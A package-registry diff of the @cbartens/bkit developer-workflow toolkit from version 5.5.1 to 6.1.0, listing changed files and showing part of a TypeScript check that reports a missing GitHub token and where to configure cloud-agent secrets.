@cbartens/bkit 5.5.1 → 6.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bkit/README.md +167 -154
- package/.bkit/core/.agents/context.md +95 -29
- package/.bkit/core/.agents/docs.md +18 -15
- package/.bkit/core/.agents/plugins/bkit/hooks/bkit-gateguard.cjs +1 -0
- package/.bkit/core/.agents/plugins/bkit/hooks/bkit-guardrails.cjs +6 -5
- package/.bkit/core/.agents/plugins/bkit/hooks/bkit-readguard.cjs +1 -0
- package/.bkit/core/.agents/plugins/bkit/hooks/bkit-rules.cjs +65 -0
- package/.bkit/core/.agents/rules.md +112 -102
- package/.bkit/core/.agents/skills.md +63 -15
- package/.bkit/core/.bkit/README.md +167 -154
- package/.bkit/core/.bkit/authoring.md +747 -0
- package/.bkit/core/.bkit/cli.md +407 -0
- package/.bkit/core/.bkit/cloud.md +283 -195
- package/.bkit/core/.bkit/comparison.md +45 -43
- package/.bkit/core/.bkit/install.md +166 -95
- package/.bkit/core/.bkit/jsonl.md +339 -196
- package/.bkit/core/.bkit/pipeline.md +142 -145
- package/.bkit/core/.bkit/prompts.md +295 -264
- package/.bkit/core/.bkit/providers.md +460 -277
- package/.bkit/core/.bkit/router.md +69 -0
- package/.bkit/core/.bkit/templates.md +530 -256
- package/.bkit/core/.bkit/trackers.md +116 -65
- package/.bkit/core/.bkit/workflows.md +742 -618
- package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +2 -2
- package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +3 -3
- package/.bkit/core/.claude/hooks/bkit-preflight.sh +45 -14
- package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +3 -3
- package/.bkit/core/.codex/hooks/bkit-rules.cjs +57 -0
- package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +7 -7
- package/.bkit/core/.cursor/hooks/bkit-preflight.sh +47 -12
- package/.bkit/core/.opencode/plugin/bkit-rules.js +89 -0
- package/.bkit/core/AGENTS.md +6 -80
- package/.bkit/core/docs/templates/bkit-audit-accessibility.md +128 -130
- package/.bkit/core/docs/templates/bkit-audit-adoption.md +104 -94
- package/.bkit/core/docs/templates/bkit-audit-agents.md +96 -98
- package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +100 -103
- package/.bkit/core/docs/templates/bkit-audit-analytics.md +141 -107
- package/.bkit/core/docs/templates/bkit-audit-annotations.md +99 -97
- package/.bkit/core/docs/templates/bkit-audit-app-performance.md +122 -121
- package/.bkit/core/docs/templates/bkit-audit-app-store.md +158 -101
- package/.bkit/core/docs/templates/bkit-audit-architecture.md +114 -96
- package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +76 -97
- package/.bkit/core/docs/templates/bkit-audit-config.md +123 -101
- package/.bkit/core/docs/templates/bkit-audit-cost.md +86 -99
- package/.bkit/core/docs/templates/bkit-audit-coverage.md +76 -93
- package/.bkit/core/docs/templates/bkit-audit-database.md +102 -95
- package/.bkit/core/docs/templates/bkit-audit-dead-code.md +165 -108
- package/.bkit/core/docs/templates/bkit-audit-deferrals.md +115 -109
- package/.bkit/core/docs/templates/bkit-audit-dependencies.md +265 -113
- package/.bkit/core/docs/templates/bkit-audit-documentation.md +119 -118
- package/.bkit/core/docs/templates/bkit-audit-duplication.md +140 -111
- package/.bkit/core/docs/templates/bkit-audit-failures.md +111 -106
- package/.bkit/core/docs/templates/bkit-audit-flakes.md +100 -99
- package/.bkit/core/docs/templates/bkit-audit-gates.md +107 -103
- package/.bkit/core/docs/templates/bkit-audit-issues.md +105 -105
- package/.bkit/core/docs/templates/bkit-audit-llm.md +134 -85
- package/.bkit/core/docs/templates/bkit-audit-logs.md +124 -125
- package/.bkit/core/docs/templates/bkit-audit-models.md +99 -78
- package/.bkit/core/docs/templates/bkit-audit-privacy.md +56 -76
- package/.bkit/core/docs/templates/bkit-audit-prompts.md +63 -78
- package/.bkit/core/docs/templates/bkit-audit-red-team.md +125 -93
- package/.bkit/core/docs/templates/bkit-audit-reliability.md +97 -96
- package/.bkit/core/docs/templates/bkit-audit-repo.md +170 -98
- package/.bkit/core/docs/templates/bkit-audit-security.md +207 -121
- package/.bkit/core/docs/templates/bkit-audit-slop.md +78 -95
- package/.bkit/core/docs/templates/bkit-audit-testing.md +163 -139
- package/.bkit/core/docs/templates/bkit-audit-usability.md +114 -96
- package/.bkit/core/docs/templates/bkit-plan.md +158 -281
- package/.bkit/core/engine/checks/after/auth.ts +40 -37
- package/.bkit/core/engine/checks/after/ci-yml.ts +104 -31
- package/.bkit/core/engine/checks/after/github.ts +95 -17
- package/.bkit/core/engine/checks/after/index.ts +21 -8
- package/.bkit/core/engine/checks/after/suppression.ts +8 -5
- package/.bkit/core/engine/checks/after/tools.ts +125 -123
- package/.bkit/core/engine/checks/before/context-fetch.ts +227 -33
- package/.bkit/core/engine/checks/before/env.ts +3 -3
- package/.bkit/core/engine/checks/before/files.ts +5 -4
- package/.bkit/core/engine/checks/before/index.ts +25 -1
- package/.bkit/core/engine/checks/before/repo.ts +208 -2
- package/.bkit/core/engine/checks/status-holes.ts +916 -123
- package/.bkit/core/engine/checks/tips/catalogue.ts +82 -20
- package/.bkit/core/engine/checks/tips/detect.ts +66 -0
- package/.bkit/core/engine/checks/tips/index.ts +52 -11
- package/.bkit/core/engine/cli.ts +251 -130
- package/.bkit/core/engine/commands/analysis.ts +282 -199
- package/.bkit/core/engine/commands/ci/ci.ts +363 -29
- package/.bkit/core/engine/commands/ci/pins.ts +172 -0
- package/.bkit/core/engine/commands/ci/push-gate.ts +223 -0
- package/.bkit/core/engine/commands/comply.ts +77 -103
- package/.bkit/core/engine/commands/install/doctor.ts +2 -2
- package/.bkit/core/engine/commands/install/install.ts +57 -18
- package/.bkit/core/engine/commands/install/uninstall.ts +86 -55
- package/.bkit/core/engine/commands/install/upgrade.ts +32 -15
- package/.bkit/core/engine/commands/land.ts +139 -18
- package/.bkit/core/engine/commands/lib.ts +381 -22
- package/.bkit/core/engine/commands/registry.ts +10 -2
- package/.bkit/core/engine/commands/setup/setup.ts +8 -7
- package/.bkit/core/engine/commands/stats.ts +260 -0
- package/.bkit/core/engine/commands/tips.ts +10 -5
- package/.bkit/core/engine/commands/workflow/branches.ts +2215 -176
- package/.bkit/core/engine/commands/workflow/challenge.ts +748 -0
- package/.bkit/core/engine/commands/workflow/completeness.ts +109 -0
- package/.bkit/core/engine/commands/workflow/context.ts +1249 -47
- package/.bkit/core/engine/commands/workflow/counters.ts +483 -95
- package/.bkit/core/engine/commands/workflow/decisions.ts +585 -0
- package/.bkit/core/engine/commands/workflow/disk.ts +238 -56
- package/.bkit/core/engine/commands/workflow/fids.ts +811 -33
- package/.bkit/core/engine/commands/workflow/issues.ts +413 -64
- package/.bkit/core/engine/commands/workflow/ledgers.ts +1333 -36
- package/.bkit/core/engine/commands/workflow/locks.ts +28 -2
- package/.bkit/core/engine/commands/workflow/plan-blocks.ts +691 -0
- package/.bkit/core/engine/commands/workflow/plan-versions.ts +21 -0
- package/.bkit/core/engine/commands/workflow/plans.ts +257 -0
- package/.bkit/core/engine/commands/workflow/prs.ts +178 -33
- package/.bkit/core/engine/commands/workflow/repo.ts +66 -8
- package/.bkit/core/engine/commands/workflow/roadmap.ts +72 -22
- package/.bkit/core/engine/commands/workflow/run-facts.ts +492 -0
- package/.bkit/core/engine/commands/workflow/runs.ts +827 -79
- package/.bkit/core/engine/commands/workflow/runtime.ts +25 -1
- package/.bkit/core/engine/commands/workflow/skills.ts +1 -0
- package/.bkit/core/engine/commands/workflow/status.ts +329 -33
- package/.bkit/core/engine/commands/workflow/step-table.ts +381 -0
- package/.bkit/core/engine/commands/workflow/steps.ts +841 -105
- package/.bkit/core/engine/commands/workflow/summary-findings.ts +177 -0
- package/.bkit/core/engine/commands/workflow/summary.ts +544 -0
- package/.bkit/core/engine/commands/workflow/tasks.ts +409 -0
- package/.bkit/core/engine/commands/workflow/test-blocks.ts +254 -0
- package/.bkit/core/engine/commands/workflow/tests-changed.ts +201 -0
- package/.bkit/core/engine/commands/workflow/tests.ts +2124 -330
- package/.bkit/core/engine/commands/workflow/tracker.ts +1195 -0
- package/.bkit/core/engine/commands/workflow/workflows.ts +1197 -235
- package/.bkit/core/engine/commands/workflow/worktrees.ts +543 -24
- package/.bkit/core/engine/install/cloud-env.ts +251 -121
- package/.bkit/core/engine/install/context-ci-workflow.ts +102 -0
- package/.bkit/core/engine/install/manifest.ts +67 -17
- package/.bkit/core/engine/install/modules/antigravity.ts +3 -2
- package/.bkit/core/engine/install/modules/cloud.ts +24 -16
- package/.bkit/core/engine/install/modules/codex.ts +15 -2
- package/.bkit/core/engine/install/modules/core.ts +1196 -45
- package/.bkit/core/engine/install/modules/cursor.ts +6 -6
- package/.bkit/core/engine/install/modules/opencode.ts +18 -6
- package/.bkit/core/engine/install/template-notes.ts +130 -0
- package/.bkit/core/engine/install/version-file.ts +9 -4
- package/.bkit/core/engine/install/write.ts +5 -0
- package/.bkit/core/engine/ledgers/compact.ts +124 -0
- package/.bkit/core/engine/ledgers/journal.ts +291 -0
- package/.bkit/core/engine/ledgers/migrate.ts +92 -0
- package/.bkit/core/engine/ledgers/status.ts +249 -21
- package/.bkit/core/engine/ledgers/telemetry.ts +1397 -253
- package/.bkit/core/engine/render/hosts.ts +118 -14
- package/.bkit/core/engine/render/models.ts +12 -0
- package/.bkit/core/engine/shared/bkit-latest.ts +26 -4
- package/.bkit/core/engine/shared/branches.ts +4 -1
- package/.bkit/core/engine/shared/dep-updater.ts +60 -0
- package/.bkit/core/engine/shared/egress.ts +8 -1
- package/.bkit/core/engine/shared/json.ts +25 -7
- package/.bkit/core/engine/shared/package-manager.ts +9 -0
- package/.bkit/core/engine/shared/settings.ts +243 -31
- package/.bkit/core/engine/shared/text.ts +361 -0
- package/.bkit/core/engine/shared/timeouts.ts +2 -0
- package/.bkit/core/engine/tools/cli-doc.ts +111 -0
- package/.bkit/core/engine/tools/grammar-density.ts +215 -0
- package/.bkit/core/engine/tools/instructions-sources.ts +832 -0
- package/.bkit/core/engine/tools/instructions.ts +1802 -0
- package/.bkit/core/hooks/antigravity-hook.js +25 -10
- package/.bkit/core/hooks/gateguard-engine.js +54 -29
- package/.bkit/core/hooks/guardrails-shell.js +4 -5
- package/.bkit/core/hooks/guardrails-tiers.js +10 -4
- package/.bkit/core/hooks/preflight-linear.sh +9 -9
- package/.bkit/core/hooks/preflight-rules.sh +8 -0
- package/.bkit/core/hooks/readguard-engine.js +29 -10
- package/.bkit/core/hooks/session-rules-advisory.js +61 -0
- package/.bkit/core/prompts/bkit-audit-generate.md +202 -94
- package/.bkit/core/prompts/bkit-build-challenge-1.md +76 -34
- package/.bkit/core/prompts/bkit-build-challenge-2.md +85 -38
- package/.bkit/core/prompts/bkit-build-install-skills.md +50 -28
- package/.bkit/core/prompts/bkit-build-plan-convert.md +85 -0
- package/.bkit/core/prompts/bkit-build-plan-current.md +59 -36
- package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +101 -36
- package/.bkit/core/prompts/bkit-build-plan-tasks.md +149 -0
- package/.bkit/core/prompts/bkit-build-plan-tests.md +120 -0
- package/.bkit/core/prompts/bkit-build-plan-verify.md +104 -43
- package/.bkit/core/prompts/bkit-debug-abort-handover.md +47 -32
- package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +109 -57
- package/.bkit/core/prompts/bkit-debug-failure-remediate.md +65 -39
- package/.bkit/core/prompts/bkit-debug-failure-reproduce.md +53 -31
- package/.bkit/core/prompts/bkit-debug-failure-soak.md +65 -34
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +46 -31
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +45 -31
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +43 -30
- package/.bkit/core/prompts/bkit-design-generate.md +80 -46
- package/.bkit/core/prompts/bkit-design-organise.md +83 -32
- package/.bkit/core/prompts/bkit-design-review-1.md +70 -50
- package/.bkit/core/prompts/bkit-design-review-2.md +65 -46
- package/.bkit/core/prompts/bkit-design-spike.md +64 -40
- package/.bkit/core/prompts/bkit-design-update.md +53 -28
- package/.bkit/core/prompts/bkit-plan-generate.md +101 -29
- package/.bkit/core/prompts/bkit-plan-review-1.md +78 -41
- package/.bkit/core/prompts/bkit-plan-review-2.md +78 -35
- package/.bkit/core/prompts/bkit-plan-scope-check.md +116 -0
- package/.bkit/core/prompts/bkit-plan-update.md +86 -31
- package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +94 -50
- package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +91 -41
- package/.bkit/core/prompts/bkit-ship-update-docs.md +45 -24
- package/.bkit/core/prompts/bkit-utility-compress-markdown.md +65 -49
- package/.bkit/core/prompts/bkit-utility-update-decisions.md +87 -42
- package/.bkit/core/prompts/bkit-utility-update-deferrals.md +81 -37
- package/.bkit/core/prompts/bkit-utility-update-documentation.md +43 -25
- package/.bkit/core/prompts/bkit-utility-update-failures.md +84 -37
- package/.bkit/core/prompts/bkit-utility-update-knowledge.md +88 -42
- package/.bkit/core/prompts/bkit-utility-update-roadmap.md +92 -39
- package/.bkit/core/prompts/bkit-utility-update-tracker.md +159 -60
- package/.bkit/core/workflows/bkit-auto.md +89 -58
- package/.bkit/core/workflows/bkit-build.md +967 -517
- package/.bkit/core/workflows/bkit-debug.md +555 -387
- package/.bkit/core/workflows/bkit-design.md +319 -283
- package/.bkit/core/workflows/bkit-plan.md +319 -342
- package/.bkit/core/workflows/bkit-ship.md +525 -328
- package/.bkit/shared/.agents/plugins/bkit/hooks.json +10 -0
- package/.bkit/shared/.bkit/.env.example +2 -2
- package/.bkit/shared/.claude/bkit-cloud.md +12 -10
- package/.bkit/shared/.claude/settings.json +14 -0
- package/.bkit/shared/.codex/bkit-cloud.md +98 -0
- package/.bkit/shared/.codex/hooks.json +20 -0
- package/.bkit/shared/.cursor/bkit-cloud.md +3 -3
- package/.bkit/shared/.cursor/mcp.json +1 -1
- package/.bkit/shared/.cursor/rules/bkit-rules.mdc +1 -1
- package/.bkit/shared/.gitattributes +1 -1
- package/.bkit/shared/.mcp.json +1 -1
- package/.bkit/shared/.opencode/opencode.json +12 -1
- package/.bkit/shared/CLAUDE.md +6 -2
- package/.bkit/shared/GEMINI.md +5 -2
- package/.bkit/shared/docs/architecture.md +4 -7
- package/.bkit/shared/docs/data-schema.md +4 -7
- package/.bkit/shared/docs/deployments.md +241 -168
- package/.bkit/shared/docs/design.md +11 -12
- package/.bkit/shared/docs/noise.md +8 -7
- package/.bkit/shared/docs/observability.md +5 -8
- package/.bkit/shared/docs/security.md +35 -17
- package/.bkit/shared/docs/setup.md +29 -18
- package/.bkit/shared/docs/technology.md +3 -6
- package/.bkit/shared/docs/testing.md +289 -174
- package/.bkit/shared/gitignore +6 -2
- package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +15 -16
- package/.bkit/templates/.cursor/Dockerfile +12 -8
- package/.bkit/templates/.cursor/environment.json +1 -1
- package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-bug.yml +10 -8
- package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-change.yml +45 -12
- package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-idea.yml +3 -3
- package/.bkit/templates/.github/renovate.json5 +34 -6
- package/.bkit/templates/.github/workflows/bkit-ci.yml +54 -51
- package/.bkit/templates/.github/workflows/bkit-cloud.yml +34 -33
- package/.bkit/templates/.github/workflows/bkit-health.yml +97 -0
- package/.bkit/templates/.github/workflows/bkit-renovate.yml +5 -4
- package/.bkit/templates/.github/workflows/bkit-trivy.yml +5 -4
- package/.bkit/templates/.husky/pre-commit +2 -2
- package/.bkit/templates/.husky/pre-push +96 -36
- package/.bkit/templates/.prettierignore +6 -0
- package/.bkit/templates/.vale.ini +27 -27
- package/.bkit/templates/context/bkit-cloudrun.md +23 -15
- package/.bkit/templates/context/bkit-expo.md +70 -52
- package/.bkit/templates/context/bkit-github.md +93 -56
- package/.bkit/templates/context/bkit-inngest.md +21 -15
- package/.bkit/templates/context/bkit-maestro.md +22 -16
- package/.bkit/templates/context/bkit-playwright.md +23 -17
- package/.bkit/templates/context/bkit-resend.md +12 -10
- package/.bkit/templates/context/bkit-sentry.md +30 -20
- package/.bkit/templates/context/bkit-serena.md +8 -7
- package/.bkit/templates/context/bkit-stripe.md +14 -13
- package/.bkit/templates/context/bkit-supabase.md +16 -13
- package/.bkit/templates/context/bkit-tavily.md +14 -11
- package/.bkit/templates/context/bkit-vercel.md +27 -18
- package/.bkit/templates/docs/capabilities.md +15 -14
- package/.bkit/templates/scripts/ci/{check-accepted-divergences.mjs → bkit-check-accepted-divergences.mjs} +6 -3
- package/.bkit/templates/scripts/ci/{check-accepted-divergences.test.mjs → bkit-check-accepted-divergences.test.mjs} +3 -3
- package/.bkit/templates/scripts/ci/{check-capstone.mjs → bkit-check-capstone.mjs} +2 -2
- package/.bkit/templates/scripts/ci/{check-capstone.test.mjs → bkit-check-capstone.test.mjs} +4 -4
- package/.bkit/templates/scripts/ci/{check-dependency-audit.mjs → bkit-check-dependency-audit.mjs} +103 -18
- package/.bkit/templates/scripts/ci/{check-dependency-audit.test.mjs → bkit-check-dependency-audit.test.mjs} +31 -3
- package/.bkit/templates/scripts/ci/bkit-machine-lock.sh +387 -0
- package/.bkit/templates/scripts/ci/bkit-test-awake.mjs +75 -0
- package/.bkit/templates/scripts/ci/bkit-test-awake.test.mjs +160 -0
- package/.bkit/templates/scripts/ci/lanes/{resolve-push-base.mjs → bkit-resolve-push-base.mjs} +3 -3
- package/.bkit/templates/scripts/ci/lanes/{resolve-push-base.test.mjs → bkit-resolve-push-base.test.mjs} +4 -4
- package/.bkit/templates/scripts/cleanup/bkit-disk-prune.mjs +10 -2
- package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +1 -1
- package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +3 -3
- package/.bkit/templates/scripts/graphify/bkit-graph-embed.py +63 -0
- package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +2 -2
- package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +69 -18
- package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +3 -3
- package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +1 -1
- package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +1 -1
- package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +197 -126
- package/.bkit/templates/scripts/graphify/bkit-graphify.sh +64 -41
- package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +23 -7
- package/.bkit/templates/slop-scan.config.json +9 -2
- package/CHANGELOG.md +231 -0
- package/README.md +278 -89
- package/dist/checks/after/auth.js +36 -33
- package/dist/checks/after/ci-yml.js +91 -30
- package/dist/checks/after/github.js +91 -17
- package/dist/checks/after/index.js +22 -11
- package/dist/checks/after/suppression.js +8 -5
- package/dist/checks/after/tools.js +111 -114
- package/dist/checks/before/context-fetch.js +218 -33
- package/dist/checks/before/env.js +3 -3
- package/dist/checks/before/files.js +5 -3
- package/dist/checks/before/index.js +20 -3
- package/dist/checks/before/repo.js +197 -2
- package/dist/checks/status-holes.js +739 -114
- package/dist/checks/tips/catalogue.js +70 -19
- package/dist/checks/tips/detect.js +62 -0
- package/dist/checks/tips/index.js +51 -9
- package/dist/cli.js +234 -124
- package/dist/commands/analysis.js +174 -141
- package/dist/commands/ci/ci.js +302 -25
- package/dist/commands/ci/pins.js +142 -0
- package/dist/commands/ci/push-gate.js +194 -0
- package/dist/commands/comply.js +54 -91
- package/dist/commands/install/doctor.js +2 -2
- package/dist/commands/install/install.js +50 -19
- package/dist/commands/install/uninstall.js +82 -55
- package/dist/commands/install/upgrade.js +21 -11
- package/dist/commands/land.js +137 -17
- package/dist/commands/lib.js +295 -21
- package/dist/commands/registry.js +10 -2
- package/dist/commands/setup/setup.js +8 -7
- package/dist/commands/stats.js +175 -0
- package/dist/commands/tips.js +7 -3
- package/dist/commands/workflow/branches.js +1873 -152
- package/dist/commands/workflow/challenge.js +609 -0
- package/dist/commands/workflow/completeness.js +97 -0
- package/dist/commands/workflow/context.js +1045 -46
- package/dist/commands/workflow/counters.js +385 -86
- package/dist/commands/workflow/decisions.js +484 -0
- package/dist/commands/workflow/disk.js +214 -56
- package/dist/commands/workflow/fids.js +706 -33
- package/dist/commands/workflow/issues.js +349 -59
- package/dist/commands/workflow/ledgers.js +1123 -37
- package/dist/commands/workflow/locks.js +26 -2
- package/dist/commands/workflow/plan-blocks.js +501 -0
- package/dist/commands/workflow/plan-versions.js +22 -0
- package/dist/commands/workflow/plans.js +205 -0
- package/dist/commands/workflow/prs.js +154 -35
- package/dist/commands/workflow/repo.js +58 -8
- package/dist/commands/workflow/roadmap.js +58 -23
- package/dist/commands/workflow/run-facts.js +421 -0
- package/dist/commands/workflow/runs.js +670 -72
- package/dist/commands/workflow/runtime.js +15 -1
- package/dist/commands/workflow/skills.js +1 -0
- package/dist/commands/workflow/status.js +282 -34
- package/dist/commands/workflow/step-table.js +308 -0
- package/dist/commands/workflow/steps.js +703 -96
- package/dist/commands/workflow/summary-findings.js +117 -0
- package/dist/commands/workflow/summary.js +388 -0
- package/dist/commands/workflow/tasks.js +378 -0
- package/dist/commands/workflow/test-blocks.js +231 -0
- package/dist/commands/workflow/tests-changed.js +172 -0
- package/dist/commands/workflow/tests.js +1695 -305
- package/dist/commands/workflow/tracker.js +983 -0
- package/dist/commands/workflow/workflows.js +1014 -222
- package/dist/commands/workflow/worktrees.js +432 -26
- package/dist/install/cloud-env.js +233 -99
- package/dist/install/context-ci-workflow.js +85 -0
- package/dist/install/manifest.js +64 -17
- package/dist/install/modules/antigravity.js +3 -2
- package/dist/install/modules/cloud.js +25 -16
- package/dist/install/modules/codex.js +12 -2
- package/dist/install/modules/core.js +1090 -48
- package/dist/install/modules/cursor.js +6 -6
- package/dist/install/modules/opencode.js +13 -7
- package/dist/install/template-notes.js +116 -0
- package/dist/install/version-file.js +9 -4
- package/dist/ledgers/compact.js +87 -0
- package/dist/ledgers/journal.js +233 -0
- package/dist/ledgers/migrate.js +81 -0
- package/dist/ledgers/status.js +176 -13
- package/dist/ledgers/telemetry.js +1010 -125
- package/dist/render/hosts.js +104 -14
- package/dist/render/models.js +12 -0
- package/dist/shared/bkit-latest.js +26 -4
- package/dist/shared/branches.js +3 -1
- package/dist/shared/dep-updater.js +49 -0
- package/dist/shared/egress.js +8 -1
- package/dist/shared/json.js +20 -7
- package/dist/shared/package-manager.js +6 -0
- package/dist/shared/settings.js +181 -24
- package/dist/shared/text.js +333 -0
- package/dist/shared/timeouts.js +2 -0
- package/dist/tools/cli-doc.js +97 -0
- package/dist/tools/grammar-density.js +183 -0
- package/dist/tools/instructions-sources.js +720 -0
- package/dist/tools/instructions.js +1623 -0
- package/package.json +156 -51
- package/.bkit/core/.bkit/lite.md +0 -73
- package/.bkit/core/engine/commands/harvest.ts +0 -459
- package/.bkit/core/engine/commands/workflow/workstreams.ts +0 -166
- package/.bkit/core/engine/tools/wording.ts +0 -748
- package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +0 -69
- package/.bkit/core/prompts/bkit-build-challenge-remediate.md +0 -71
- package/.bkit/core/prompts/bkit-build-challenge-tests.md +0 -74
- package/.bkit/core/prompts/bkit-build-plan-execute.md +0 -76
- package/.bkit/core/prompts/bkit-build-summary.md +0 -94
- package/.bkit/core/prompts/bkit-debug-summary.md +0 -96
- package/.bkit/core/prompts/bkit-design-summary.md +0 -107
- package/.bkit/core/prompts/bkit-plan-complexity-check.md +0 -67
- package/.bkit/core/prompts/bkit-plan-complexity-split.md +0 -88
- package/.bkit/core/prompts/bkit-plan-review-3.md +0 -93
- package/.bkit/core/prompts/bkit-plan-scope-check-1.md +0 -85
- package/.bkit/core/prompts/bkit-plan-scope-check-2.md +0 -85
- package/.bkit/core/prompts/bkit-plan-summary.md +0 -107
- package/.bkit/core/prompts/bkit-ship-summary.md +0 -78
- package/.bkit/templates/scripts/ci/bkit-local-stack-lock.sh +0 -194
- package/dist/commands/harvest.js +0 -353
- package/dist/commands/workflow/workstreams.js +0 -143
- package/dist/tools/wording.js +0 -680
- /package/.bkit/templates/.vale/styles/{House → Bkit}/Filler.yml +0 -0
- /package/.bkit/templates/.vale/styles/{House → Bkit}/Hedging.yml +0 -0
- /package/.bkit/templates/.vale/styles/{House → Bkit}/LLMSlop.yml +0 -0
- /package/.bkit/templates/.vale/styles/{House → Bkit}/Verbose.yml +0 -0
- /package/.bkit/templates/scripts/ci/{accepted-advisories.json → bkit-accepted-advisories.json} +0 -0
- /package/.bkit/templates/scripts/ci/{accepted-divergences.json → bkit-accepted-divergences.json} +0 -0
- /package/.bkit/templates/scripts/launchd/{launchd.env.example → bkit-launchd.env.example} +0 -0
- /package/.bkit/templates/scripts/launchd/{ai.bkit.launchd.plist → bkit-launchd.plist} +0 -0
|
@@ -6,7 +6,6 @@ import * as path from "node:path";
|
|
|
6
6
|
import { spawnSync } from "node:child_process";
|
|
7
7
|
import type { PreflightFinding } from "../before/index.js";
|
|
8
8
|
import { readJsonFile } from "../../shared/json.js";
|
|
9
|
-
import { readBkitConfig } from "../../shared/settings.js";
|
|
10
9
|
|
|
11
10
|
// ---------------------------------------------------------------------------
|
|
12
11
|
// Token-surface detectors
|
|
@@ -63,7 +62,7 @@ export function detectGhMcpToken(cwd: string): PreflightFinding | null {
|
|
|
63
62
|
detect:
|
|
64
63
|
"BKIT_GH_TOKEN is not set in the shell environment (undefined). The GitHub MCP server authenticates with `Authorization: Bearer ${BKIT_GH_TOKEN}` — without it, every tracker, PR, and board MCP call fails to connect.",
|
|
65
64
|
action:
|
|
66
|
-
"Set BKIT_GH_TOKEN in .bkit/.env (canonical local-secrets file, gitignored), then `direnv allow` and restart your editor so MCP servers pick it up:\n\n cp .bkit/.env.example .bkit/.env # if not already done\n # edit .bkit/.env — set BKIT_GH_TOKEN=<PAT>\n direnv allow\n\nUse a fine-grained PAT when every target repo sits under one owner (Contents, Pull requests, Issues, and Actions read & write, plus organization-scoped Projects read & write if you use board sync); use a classic PAT when one token must span owners (scopes repo / workflow / read:org / project / security_events). Generate at: https://github.com/settings/personal-access-tokens (fine-grained) or https://github.com/settings/tokens (classic). In cloud sessions (Claude Code web / Cursor
|
|
65
|
+
"Set BKIT_GH_TOKEN in .bkit/.env (canonical local-secrets file, gitignored), then `direnv allow` and restart your editor so MCP servers pick it up:\n\n cp .bkit/.env.example .bkit/.env # if not already done\n # edit .bkit/.env — set BKIT_GH_TOKEN=<PAT>\n direnv allow\n\nUse a fine-grained PAT when every target repo sits under one owner (Contents, Pull requests, Issues, and Actions read & write, plus organization-scoped Projects read & write if you use board sync); use a classic PAT when one token must span owners (scopes repo / workflow / read:org / project / security_events). Generate at: https://github.com/settings/personal-access-tokens (fine-grained) or https://github.com/settings/tokens (classic). In cloud sessions (Claude Code web / Cursor Cloud Agents / Codex Cloud) set BKIT_GH_TOKEN in the dashboard env vars instead — repo files are not read for secrets there.",
|
|
67
66
|
};
|
|
68
67
|
}
|
|
69
68
|
if (status === "empty") {
|
|
@@ -108,51 +107,55 @@ export function detectGhSecret(secretName: string): TokenPresence {
|
|
|
108
107
|
}
|
|
109
108
|
|
|
110
109
|
/**
|
|
111
|
-
* Build the consolidated
|
|
112
|
-
*
|
|
113
|
-
*
|
|
114
|
-
*
|
|
115
|
-
*
|
|
110
|
+
* Build the consolidated cloud-secrets checklist advisory. Fires when the consumer's
|
|
111
|
+
* repo has bkit-cloud.yml installed OR a `.claude/`, `.cursor/` or `.codex/` install
|
|
112
|
+
* present — each indicates cloud-side agent use. Lists one location per trigger present:
|
|
113
|
+
* GitHub Actions for the router, plus each installed host's cloud dashboard with its
|
|
114
|
+
* generated paste doc. Never depends on the issue tracker: every host's env block is the
|
|
115
|
+
* same tracker-independent set (install/cloud-env.ts).
|
|
116
116
|
*
|
|
117
|
-
* Returns null when none of the
|
|
117
|
+
* Returns null when none of the trigger paths exist.
|
|
118
118
|
*/
|
|
119
119
|
export function buildCloudDashboardsAdvisory(cwd: string): PreflightFinding | null {
|
|
120
120
|
const hasRouter = fs.existsSync(path.join(cwd, ".github", "workflows", "bkit-cloud.yml"));
|
|
121
|
-
const
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
121
|
+
const hosts: Array<[string, string]> = [
|
|
122
|
+
[
|
|
123
|
+
".cursor",
|
|
124
|
+
"**Cursor Cloud Agents**: open `https://cursor.com/dashboard/cloud-agents` → your environment → **Secrets** tab. Add each secret as a **Runtime Secret** (loaded as an env var, redacted from the agent's transcript). Cursor reads `.cursor/Dockerfile` + `.cursor/environment.json` from the repo but secrets come from this dashboard only; the resolved paste-ready values are in `.cursor/bkit-cloud.md` (gitignored).",
|
|
125
|
+
],
|
|
126
|
+
[
|
|
127
|
+
".claude",
|
|
128
|
+
"**Claude Code (web)**: open `https://claude.ai/code` → environment selector → your environment → **Environment variables**. Paste the block from `.claude/bkit-cloud.md` (gitignored), which also carries the setup script and network list. Claude reads both from the dashboard, NOT from the repo, so changes here do not require a commit.",
|
|
129
|
+
],
|
|
130
|
+
[
|
|
131
|
+
".codex",
|
|
132
|
+
